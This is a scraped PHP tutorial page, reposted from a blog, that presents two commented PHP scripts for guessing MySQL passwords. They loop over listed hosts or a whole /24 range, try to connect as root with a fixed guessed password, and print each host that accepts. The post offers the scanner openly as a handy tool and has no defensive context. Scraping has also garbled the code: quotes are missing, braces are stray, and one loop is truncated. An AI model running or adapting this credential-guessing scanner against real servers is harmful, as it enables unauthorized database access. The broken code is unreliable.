Home > Backend Development > PHP Tutorial > MySQL database password guessing script PHP version_PHP tutorial

MySQL database password guessing script PHP version_PHP tutorial

WBOY
Release: 2016-07-13 17:34:38
Original
1119 people have browsed it

From:angels Blog Source URL: http://www.sablog.net/blog/archives/479/

I was browsing online just now and accidentally saw this program on little A (angel)’s blog. It is very simple and powerful! hehe! ~It is implemented in PHP. I added code comments based on what he wrote to make it easier for friends who don’t understand PHP to understand. Without further ado, here’s the code !

//When it is known that the specified database server has port 3306 open, execute the following PHP script to guess.

Code-1:

$hostdb = array(
192.168.168.10,
192.168.168.20,
192.168.168.20,
192.168.168.40,
192.168.168.50 ,
192.168 .168.60,
192.168.168.70,
192.168.168.80,
192.168.168.90,
192.168.168.100
);                                     //Put these IP addresses into the predefined array Inside

$dbu = root;
foreach ($hostdb as $host) {                                                                                                                                                                                                                                                                             
echo $host. - .$dbu. - .$dbp. ... OK
;

//If it matches the predefined username and password, print it out

} >}

echo done.;

?>

//The following code scans the specified IP address segment.

Code-2:

$ips = 192.168.168.;                                                                                                                                                                Defined username$dbp = 1qaz2wsx;   //Pre-defined password


for ($i=1; $i<254; $i++) {
//Set a for loop, and accumulate one by one on the basis of 192.168.1.1 until 192.168.1.254
if(@mysql_connect($ips.$i, $dbu, $dbp)) {     
//Try to connect to it
 echo $ips.$i. - .$dbu. - .$dbp. ... OK
;  //If the connection is successful, print it out

}}

echo done.;



?>

http://www.bkjia.com/PHPjc/508455.html

www.bkjia.com

truehttp: //www.bkjia.com/PHPjc/508455.html

TechArticle

From:angels Blog Source URL: http://www.sablog.net/blog/archives/479/ Just now I was browsing around on the Internet and accidentally saw this program on Xiao A (angel)'s blog. It is very simple and powerful! ...

source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template